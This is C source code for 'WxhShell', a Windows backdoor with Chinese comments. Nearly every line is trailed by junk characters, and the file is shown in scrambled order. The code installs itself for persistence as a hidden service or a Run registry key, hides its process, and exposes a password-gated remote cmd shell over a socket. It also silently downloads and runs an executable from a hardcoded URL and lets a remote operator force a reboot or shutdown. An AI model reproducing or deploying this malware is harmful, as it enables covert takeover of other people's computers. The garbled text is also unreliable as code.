    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _YM]U`*  
    else { A(<"oAe|  
    closesocket(wsh); '5BM*4,:O  
    ExitThread(0); Skn2-8;10  
    } NEG&zf  
    break; [hT|]|fJS;  
    } +S3r]D3v/  
  // 获取shell 3S_H hvB  
  case 's': { YPY'[j(p`n  
    CmdShell(wsh); 'K0=FPB/@  
    closesocket(wsh); A_vf3 *q  
    ExitThread(0); }*ZOD1j  
    break; Hlg Q0qb  
  } RU' WHk  
  // 退出 ^s=p'&6  
  case 'x': { }1/`<m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;:)?@IuSy  
    CloseIt(wsh); %G%D[ i]  
    break; u(`,7 o "  
    } KW~fW r8  
  // 离开 7Vd"AVn}g  
  case 'q': { Xw2tCRzD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [x.Dw U%S  
    closesocket(wsh); tLzX L *  
    WSACleanup(); Pd[&&!+gV  
    exit(1); ee=d*)  
    break; N))G/m3  
        } &74*CO9B9  
  } /`j~r;S  
  } 0R0j7\{  
Qs^Rh F\d  
  // 提示信息 dGrm1w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J:q:g*Wi  
} vV?=r5j  
  } 8@f=GJf  
=n}+p>\s  
  return; @]EJbiGv  
} #CaT0#v  
}8W5m(Zq9n  
// shell模块句柄 u{-J?t&`  
int CmdShell(SOCKET sock) iw$n*1M  
{ o y'GAc/  
STARTUPINFO si; #z*-  
ZeroMemory(&si,sizeof(si)); 1gZW~6a}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T%\f$jh6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r3hUa4^97  
PROCESS_INFORMATION ProcessInfo; ezC2E/#  
char cmdline[]="cmd"; Yzr|Z7r q}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `V;vvHP A  
  return 0; @\=% M^bx  
} 2JV,A Zf  
~S],)E1w  
// 自身启动模式 UqP %S$9  
int StartFromService(void) {bSi3oI  
{ ;LBq!  
typedef struct > 4zH\T!  
{ .mse.$TK.^  
  DWORD ExitStatus; "2}E ARa  
  DWORD PebBaseAddress; Z5vpo$l  
  DWORD AffinityMask; jtMN)TM  
  DWORD BasePriority; !i|]OnJY  
  ULONG UniqueProcessId; k lRS:\dW  
  ULONG InheritedFromUniqueProcessId; U(.3[x  
}   PROCESS_BASIC_INFORMATION; s5s'$|h"  
o+H;ZGT5H  
PROCNTQSIP NtQueryInformationProcess; kc3dWWPe  
BtyBZ8P;e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y8$TU;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BJM_kKH  
llf|d'5Nl  
  HANDLE             hProcess; k0=$mmmPY  
  PROCESS_BASIC_INFORMATION pbi; eQ}o;vJN  
#8!xIy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fR=B/`  
  if(NULL == hInst ) return 0; `XwFH#_  
e7j3 0Iy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y6|8;2E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u |h T1l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); USKa6<:{W  
PKT/U^2X]  
  if (!NtQueryInformationProcess) return 0; (W<n<sl:-  
7>g^OE f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xwwy9:ze*l  
  if(!hProcess) return 0; q L6Rs  
(z}q6Lfa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k+au42:r  
?mK`Wleh?  
  CloseHandle(hProcess); IAD_Tck  
g4BEo'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); : kVEB<G  
if(hProcess==NULL) return 0; 0L "+,  
Mh04O@"  
HMODULE hMod; ~aK@M4  
char procName[255]; Nw`}iR0i  
unsigned long cbNeeded; .=WsB@+   
[@U2a$k+d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /( /)nYAjk  
{iGk~qN  
  CloseHandle(hProcess); MPINxS  
-saisH6  
if(strstr(procName,"services")) return 1; // 以服务启动 o2cZ  
Rc2|o.'y  
  return 0; // 注册表启动 WXqrx*?*+  
} $z-zscco  
6m_whGosi  
// 主模块 #C+""qm  
int StartWxhshell(LPSTR lpCmdLine) Zh?1+Sz&  
{ H7 acT  
  SOCKET wsl; 4{Vw30DZ  
BOOL val=TRUE; fqaysy  
  int port=0; ~ {sRK  
  struct sockaddr_in door; 8~QEJW$  
%,u_ `P  
  if(wscfg.ws_autoins) Install(); [KIK}:  
l4oI5)w  
port=atoi(lpCmdLine); t'@1FA!)  
>b>3M'  
if(port<=0) port=wscfg.ws_port; <(Ub(  
B_w;2ZuA  
  WSADATA data; n>F1G MX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;eznONNF  
JO:40V?op  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %k8} IBL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X4emhB  
  door.sin_family = AF_INET; >|jSd2_p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  k~#F@_  
  door.sin_port = htons(port); -Dw qoWZ  
"j5b$T0P>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X%7Y\|  
closesocket(wsl); OHeVm-VC  
return 1; %\?2W8Qv_J  
} (,eH*/~/  
2F(zHa  
  if(listen(wsl,2) == INVALID_SOCKET) { Ilvz @=  
closesocket(wsl); $a(EF 6  
return 1; vS %r_gf(  
} {.tUn`j6V  
  Wxhshell(wsl); I^'kt[P'FZ  
  WSACleanup(); D\8~3S'd  
y?W8FL  
return 0; 1P&XG@  
BgLK}p^  
} cCN[c)[c|  
_|.q?;C]$  
// 以NT服务方式启动 0IoS|P}6a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /X)fWO S6  
{ w^09|k  
DWORD   status = 0; l+S08IZ  
  DWORD   specificError = 0xfffffff; [i24$UT  
5DKR1z:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EeWCy5W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \M M(w&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o|G.tBpKg  
  serviceStatus.dwWin32ExitCode     = 0; DzX5_ kA  
  serviceStatus.dwServiceSpecificExitCode = 0; :|xV}  
  serviceStatus.dwCheckPoint       = 0; ?g2Wu0<  
  serviceStatus.dwWaitHint       = 0; RS@*/.]o  
f,z_|e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \:C@L&3[  
  if (hServiceStatusHandle==0) return; hH8:7i  
>_h*N H  
status = GetLastError(); a2 fV0d6*l  
  if (status!=NO_ERROR) bJ~]nj 3  
{ _O ~DJ"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TGu`r>N51  
    serviceStatus.dwCheckPoint       = 0; XEM i~L+  
    serviceStatus.dwWaitHint       = 0; <T JUKznO  
    serviceStatus.dwWin32ExitCode     = status; 1Iu^+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZZp6@@zyq'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YuXq   
    return; !u@e^J{Ao  
  } O#fGHI<43[  
* 3mF.^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 62Yi1<kV@  
  serviceStatus.dwCheckPoint       = 0; CGvU{n,"  
  serviceStatus.dwWaitHint       = 0; '"Q;54S**  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1i:l  
} ^0ZabR'  
JX@/rXFY}  
// 处理NT服务事件,比如:启动、停止 2ku\R7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g|8G!7O  
{ `qp[x%7^  
switch(fdwControl) w$4fS  
{ UOy9N  
case SERVICE_CONTROL_STOP: Qp~O!9ph  
  serviceStatus.dwWin32ExitCode = 0; !lp *0h(7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OF'y]W&  
  serviceStatus.dwCheckPoint   = 0; x\!Q[  
  serviceStatus.dwWaitHint     = 0; !8M]n  
  { }2;~':Mklz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >p Y0f }  
  } a,IE;5kG  
  return; H->J.5~,K  
case SERVICE_CONTROL_PAUSE: 6VpT*,2d~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U~QIO O  
  break; I5PI;t+  
case SERVICE_CONTROL_CONTINUE: +G*2f V>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XhjH68S(  
  break; nE#p Ry]  
case SERVICE_CONTROL_INTERROGATE: #-kG\}  
  break; 5]DgfwX  
}; 'Y{fah  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B B*]" gT  
} @w|'ip5@  
W3K?K-  
// 标准应用程序主函数 FjD`bhw-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5SKj% %B2,  
{ Ge=+ 0W)&  
G$&SlJZEk  
// 获取操作系统版本 Y S )Q#fP  
OsIsNt=GetOsVer(); )OxcJPo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uc4#giCD  
'=}F}[d"kk  
  // 从命令行安装 ;2 -%IA,  
  if(strpbrk(lpCmdLine,"iI")) Install(); 57*`y'C W  
.jW+\mIX  
  // 下载执行文件 H7!j5^  
if(wscfg.ws_downexe) { U {Xg#UN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) swEE >=  
  WinExec(wscfg.ws_filenam,SW_HIDE); |9c J O@  
} nw|ls2   
^y"5pf SR  
if(!OsIsNt) { |c,,*^  
// 如果时win9x,隐藏进程并且设置为注册表启动 D0NSzCHx  
HideProc(); w3oh8NRs_  
StartWxhshell(lpCmdLine); :s|" ZR  
} D  /wX  
else i Qs7L y"  
  if(StartFromService()) ;^VLx)q  
  // 以服务方式启动 SJ4[n.tPI  
  StartServiceCtrlDispatcher(DispatchTable); t/xWJW2  
else #_)<~  
  // 普通方式启动 %!Z9: +;B  
  StartWxhshell(lpCmdLine); 'o41)p  
@}sxA9 a  
return 0; CsfGjqpf  
} Te&F2`vo  
Bg.~#H  
I6!~(ND7  
F2jZ3[P  
=========================================== %dA6vHI,  
"tax  
N,N9K  
M:&g5y&  
#w_cos[I  
"_!D b&AH  
" T \d-r#{  
Lh eOGM  
#include <stdio.h> aPD4S&"Q  
#include <string.h> \C<|yD  
#include <windows.h> UqJ}5{rt  
#include <winsock2.h> l\+^.ezD  
#include <winsvc.h> PtP{_9%Dz  
#include <urlmon.h> c;X8: Z=ja  
[=f(u wY>g  
#pragma comment (lib, "Ws2_32.lib") xLID @9Hbu  
#pragma comment (lib, "urlmon.lib") `x b\)  
PHZ+u@AA6@  
#define MAX_USER   100 // 最大客户端连接数 /K!&4mK  
#define BUF_SOCK   200 // sock buffer :2+,?#W  
#define KEY_BUFF   255 // 输入 buffer H?\b   
l;+nL[%`  
#define REBOOT     0   // 重启 ~cC =DeX  
#define SHUTDOWN   1   // 关机 QYl Pr&O9  
O}$@|w(8;  
#define DEF_PORT   5000 // 监听端口 "gaurr3  
zn!H&!8&  
#define REG_LEN     16   // 注册表键长度 >ucVrLm,X  
#define SVC_LEN     80   // NT服务名长度 K=S-p3\g  
o|r8x_!+  
// 从dll定义API 2L\}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kBF.TGT[l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x}\_o< d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {Y0Uln5u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .X2fu/}  
`;X~$uS  
// wxhshell配置信息 S}mZU!  
struct WSCFG { hh%f mc  
  int ws_port;         // 监听端口 K'/,VALp  
  char ws_passstr[REG_LEN]; // 口令 k&oq6!ix  
  int ws_autoins;       // 安装标记, 1=yes 0=no abs\Ku9  
  char ws_regname[REG_LEN]; // 注册表键名 nYA@t=t0  
  char ws_svcname[REG_LEN]; // 服务名 B4uJT~,7>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?o0ro?9j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0-s[S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HV*D l$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3c%dErch  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hj\iI p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yUUg8xbpxF  
CP5vo-/)-  
}; |{STkV]  
p'@| O q&  
// default Wxhshell configuration 9n\b!*x  
struct WSCFG wscfg={DEF_PORT, qwf97pg$  
    "xuhuanlingzhe", dq6|m }g{  
    1, 4y: pj7h  
    "Wxhshell", 2cnyq$4k  
    "Wxhshell", zYCS K~-GW  
            "WxhShell Service", Q/u2Q;j>  
    "Wrsky Windows CmdShell Service", =qg;K'M5  
    "Please Input Your Password: ", G8sxg&bf{  
  1, By&ibN),  
  "http://www.wrsky.com/wxhshell.exe", vJ&g3ky  
  "Wxhshell.exe" f3[/zcm;  
    }; N*B_ or  
jPDk~|  
// 消息定义模块 vV(?A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `]T# uP<u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i(hL6DLD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [?QU'[  
char *msg_ws_ext="\n\rExit."; .+.'TY--  
char *msg_ws_end="\n\rQuit."; "ZHA.M]`  
char *msg_ws_boot="\n\rReboot..."; QDHTP|2e  
char *msg_ws_poff="\n\rShutdown..."; )XFaVkQ}  
char *msg_ws_down="\n\rSave to "; )iU@P7W=  
QTC-W2t]  
char *msg_ws_err="\n\rErr!"; o*r 2T4 8  
char *msg_ws_ok="\n\rOK!"; =sIkA)"!=  
bE6:pGr  
char ExeFile[MAX_PATH]; lx)Bj6  
int nUser = 0; fzk^QrB  
HANDLE handles[MAX_USER]; (q 0wV3Qv  
int OsIsNt; h!zev~u1)`  
A0A]#=S  
SERVICE_STATUS       serviceStatus; n2p(@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t ;-U  
xG7/[ jG  
// 函数声明 O]1aez[  
int Install(void); 5ltrr(MeD  
int Uninstall(void); `B%IHr  
int DownloadFile(char *sURL, SOCKET wsh); %b1NlzB+  
int Boot(int flag); #Rj&PzBe  
void HideProc(void); \F'tl{'\@  
int GetOsVer(void); ]Jum(1Bo  
int Wxhshell(SOCKET wsl); \Ctl(uj  
void TalkWithClient(void *cs); 5 A2u|UU  
int CmdShell(SOCKET sock); rG t/ /6  
int StartFromService(void); ~\yk{1S  
int StartWxhshell(LPSTR lpCmdLine); EyK F5TP0  
"BvAiT{u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ETMF.-P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "0sk(kT  
/4 M~ 6LT`  
// 数据结构和表定义 +>BD^[^^  
SERVICE_TABLE_ENTRY DispatchTable[] = Zk*!,,P!  
{ SKdh!*G  
{wscfg.ws_svcname, NTServiceMain}, 0Q)m>oL.  
{NULL, NULL} =}xH6^It  
}; T[\?fSP  
CYH o~VIK  
// 自我安装 Ni Y.OwKr  
int Install(void) 3o.9}`/  
{ =K8z8K?  
  char svExeFile[MAX_PATH]; nf,u'}psdJ  
  HKEY key; }}q_QD_  
  strcpy(svExeFile,ExeFile); SMMvRF`7  
277Am*2  
// 如果是win9x系统,修改注册表设为自启动 e:T8={LU2W  
if(!OsIsNt) { C9Xj)5k@R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SLi?E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =*'K'e>P3  
  RegCloseKey(key); V")u y&Ob  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -8%[ 7Z]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cP,bob]  
  RegCloseKey(key); VPI;{0kh  
  return 0; Uf`~0=w  
    } ;cfmMt!QWJ  
  } 7:P+S%ZL  
} 6U?z  
else { UWIw/(Mv/]  
yRtxh_wr9  
// 如果是NT以上系统,安装为系统服务 tMOhH #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *L+)R*|:&  
if (schSCManager!=0) *)82iD  
{ Nt/#Qu2#br  
  SC_HANDLE schService = CreateService $^Z ugD  
  ( 0hoi=W6AQ  
  schSCManager, *)0-N!N#)  
  wscfg.ws_svcname, {OGv1\ol&  
  wscfg.ws_svcdisp, [~U CYYl  
  SERVICE_ALL_ACCESS, Izr_]%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '@3Kq\/  
  SERVICE_AUTO_START, sUTfY|<7|  
  SERVICE_ERROR_NORMAL, qpZR-O  
  svExeFile, 8TV "9{ n  
  NULL, n04lTME  
  NULL, us$=)m~v+  
  NULL, s!eB8lkcT  
  NULL, IuN:*P  
  NULL  bMDj+i  
  ); KoF_G[m  
  if (schService!=0) j _p|>f<}  
  { 5FQtlB9F  
  CloseServiceHandle(schService); Xn3 \a81  
  CloseServiceHandle(schSCManager); Kjfpq!NYE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n"dYN3dE  
  strcat(svExeFile,wscfg.ws_svcname); Hy| X>Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r.#"he_6!.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o5`LLVif5y  
  RegCloseKey(key); HHXm 4}!;<  
  return 0; oJ`cefcWo  
    } l?J|Ip2W  
  } {ZR>`'^:  
  CloseServiceHandle(schSCManager); ZGZ+BOFL  
} p0Ra`*f  
} 6E0{(*  
@teNT"  
return 1; wr{ [4$O  
} %9Y3jB",2  
'3eL^Aq  
// 自我卸载 {-Q=YDR  
int Uninstall(void)  *CS2ndp  
{ T]0H&Oov  
  HKEY key; V<W$ h`  
zd-qQ.j0  
if(!OsIsNt) { nLcOz3h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @b5zHXF83E  
  RegDeleteValue(key,wscfg.ws_regname); j$mCU?  
  RegCloseKey(key); 22_%u=p-|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QxS=W2iN  
  RegDeleteValue(key,wscfg.ws_regname); 9zs!rlzQ  
  RegCloseKey(key); -lDAxp6p  
  return 0; wOU\&u|  
  } Gr}lr gPS  
} G Rq0nhJ  
} 3rh@|fg)E  
else { DSX.84  
GO<,zOqvU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^oYudb^%  
if (schSCManager!=0) T**v!Ls  
{ g*%z{w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E Zh.*u@^r  
  if (schService!=0) &w"1VOV<  
  { k3 S  
  if(DeleteService(schService)!=0) { EnD }|9  
  CloseServiceHandle(schService);  66 @#V  
  CloseServiceHandle(schSCManager); hiBZZ+^[  
  return 0; " s3eO  
  } }?KfL$@$  
  CloseServiceHandle(schService); 4/:}K>S_  
  } YOE!+MiO  
  CloseServiceHandle(schSCManager); Z36C7 kw  
} (eEs0  
} Fx6]x$3  
6! .nj3$*  
return 1; :+*q,lX8  
} P|' eM%  
{$H-7-O$  
// 从指定url下载文件 JDp{d c  
int DownloadFile(char *sURL, SOCKET wsh) ^]{m*bEkR  
{ SSo7 U  
  HRESULT hr; %!X9>i>  
char seps[]= "/"; H.=S08c3kA  
char *token; 7xU6Ll+p  
char *file; /|MHZ$Y9w?  
char myURL[MAX_PATH]; i&_&4  
char myFILE[MAX_PATH]; RM|2PG1m  
6>=yX6U1q^  
strcpy(myURL,sURL); qr<RMs  
  token=strtok(myURL,seps); ky#5G-X  
  while(token!=NULL) [~&yLccN  
  { l2Pry'3  
    file=token; [Zxv&$SQ  
  token=strtok(NULL,seps); Vl\8*!OL%  
  } j0`)mR}  
E>I\m!ue  
GetCurrentDirectory(MAX_PATH,myFILE); dYxX%"J  
strcat(myFILE, "\\"); DV{0|E  
strcat(myFILE, file); :}*   
  send(wsh,myFILE,strlen(myFILE),0); ATzFs]~K;  
send(wsh,"...",3,0); ?DrA@;IB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tN1xZW:  
  if(hr==S_OK) X%rsa7H3J  
return 0; "zZ Z h  
else h ]6: `5-  
return 1; N(Sc!rX  
aM7=>  
} i9koh3R\  
Q5xQ5Le  
// 系统电源模块 F?+\J =LT  
int Boot(int flag) /N9ct4 {^  
{ l9t|@9  
  HANDLE hToken; ~J:]cy)Q  
  TOKEN_PRIVILEGES tkp; c]%~X&Tg`  
7SJR_G6,{  
  if(OsIsNt) { ^V7'S<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |}><)}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V jLv{f<p  
    tkp.PrivilegeCount = 1; V| &->9"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lc[)O3,,B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %zz,qs)Eu  
if(flag==REBOOT) { #IR,KX3]A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0fzHEL  
  return 0; <&RpGAk%I  
} dym K@  
else { {n\Ai3F-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p1N3AhXY  
  return 0; BUS4 T#D  
} es^@C9qt  
  } tj4/x7!  
  else { w ZfY~  
if(flag==REBOOT) { oy-y Q YX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fE"-W{M  
  return 0; 8b!xMFF"  
} wxo*\WLe  
else { !oa/\p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kvG.?^ v  
  return 0; @jCMQYR  
} xz Hb+1+p  
} I0*N "07n  
ot0g@q[3  
return 1; N[A9J7}_R  
} iPdS>e e  
jO-T1P']Y  
// win9x进程隐藏模块 6of9lO:  
void HideProc(void) f0879(,i  
{ (8baa.ge  
Rl&nR$#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vi.INe  
  if ( hKernel != NULL ) gO{$p q}  
  { =h xyR;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n&,X ']z.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %l,CJd5  
    FreeLibrary(hKernel); fZoQQ[s  
  } [dFe-2u ,$  
SAiaC _  
return; d3\KUR^  
} :}2Tof2  
\H&;.??W  
// 获取操作系统版本 -24ccN;  
int GetOsVer(void) @Ko#nDEq  
{ m%'T90mi  
  OSVERSIONINFO winfo; "!_vQ^y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *pDS%,$xe  
  GetVersionEx(&winfo); V>`9ey!U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M N (o  
  return 1; nch#DE8 2  
  else K:A:3~I!NW  
  return 0; v_WF.sb~  
} u1gD*4+  
}u8g7Nj  
// 客户端句柄模块 zKI1  
int Wxhshell(SOCKET wsl) &O#1*y Z  
{ Z?d][zGw  
  SOCKET wsh; bc:3 5.  
  struct sockaddr_in client; jcjl q-x  
  DWORD myID; kGL3*x  
<Ql2+ev6  
  while(nUser<MAX_USER) uH(M@7"6_!  
{ OI8}v  
  int nSize=sizeof(client); Gx4{ 9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lxv6\3I+  
  if(wsh==INVALID_SOCKET) return 1; I0><IaFy  
?*[35XUd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;JMmr-@  
if(handles[nUser]==0) [>U2!4=$M  
  closesocket(wsh); s}yN_D+V  
else gyPwNE  
  nUser++; f@$kK?c?  
  } }$sTnea  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,b5vnW\  
xZM4CR9]*C  
  return 0; CJDNS21m  
} Gd'_X D  
?>I  
// 关闭 socket ];5Auh 0o  
void CloseIt(SOCKET wsh) L "'d(MD  
{ 9g'6zB  
closesocket(wsh); kBnb9'.A1  
nUser--; 8H T3C\$s  
ExitThread(0); `Q/\w1-Q  
} a,)/D_{1  
'm"Ez'sS  
// 客户端请求句柄 ie>mOsz  
void TalkWithClient(void *cs) ;j[:tt\k  
{ =fdW H4  
J\p-5[E  
  SOCKET wsh=(SOCKET)cs; QAMcI:5  
  char pwd[SVC_LEN]; d0f(Uk  
  char cmd[KEY_BUFF]; Z }Q/u^Z  
char chr[1]; JiuA"ks)  
int i,j; 8<32(D{  
%o0H#7'  
  while (nUser < MAX_USER) { e**'[3Y  
g6S-vSX,  
if(wscfg.ws_passstr) { &3x da1H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <OJqeUo+*\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M'oZK  
  //ZeroMemory(pwd,KEY_BUFF); Pj_DI)^  
      i=0; A:(qF.Tm  
  while(i<SVC_LEN) { j~>J?w9<O  
Fg}t{e]3a  
  // 设置超时 NR-<2 e3  
  fd_set FdRead; wlslG^^(!  
  struct timeval TimeOut; =UWW(^M#[:  
  FD_ZERO(&FdRead); Z!jJ93A"  
  FD_SET(wsh,&FdRead); }w2Et  
  TimeOut.tv_sec=8; %M`zkA2]J  
  TimeOut.tv_usec=0; %da-/[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <]|!quY<*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fA[T5<66  
)7Qp9Fxo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^P A|RFP  
  pwd=chr[0];  twK3  
  if(chr[0]==0xd || chr[0]==0xa) { '"ze Im~  
  pwd=0; L'"c;FF02i  
  break; `Hv"^o  
  } 9>vB,8  
  i++; |lu@rN  
    } :<0lCj  
0;*[}M]Z  
  // 如果是非法用户,关闭 socket "T<7j.P?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3/(eK%d4Xb  
} $?VYHkX  
g2 mq?q(g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [D<(xr&N%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }g|9P SbJ  
FP0GE  
while(1) { :b_hF  
g?Rq .py]!  
  ZeroMemory(cmd,KEY_BUFF); wqap~X  
f'`y-]"V5)  
      // 自动支持客户端 telnet标准   P=y1qqC  
  j=0; $"}*#<Z  
  while(j<KEY_BUFF) { _G/uDP%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [;'$y:L=g  
  cmd[j]=chr[0]; KF!d?  
  if(chr[0]==0xa || chr[0]==0xd) { /#L4ec-'  
  cmd[j]=0; :`<MlX  
  break; hQNUA|Q=%  
  } r?pFc3 ~N  
  j++; :3J`+V}9;  
    } lR`.V0xA   
?#nk}=;g8  
  // 下载文件 rg]z  
  if(strstr(cmd,"http://")) { ,ZO?D|M1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t~qAA\p}o  
  if(DownloadFile(cmd,wsh)) ltkA7dUbu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /N./l4D1K-  
  else 0wF)bQv1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #H5 +8W  
  } 3q6FV7Fv&b  
  else { Fa{[kJ8z  
)<e,-XujY  
    switch(cmd[0]) { 9tmnx')_  
  U0N6\+  
  // 帮助 5 (q4o`  
  case '?': { (I{+ %  
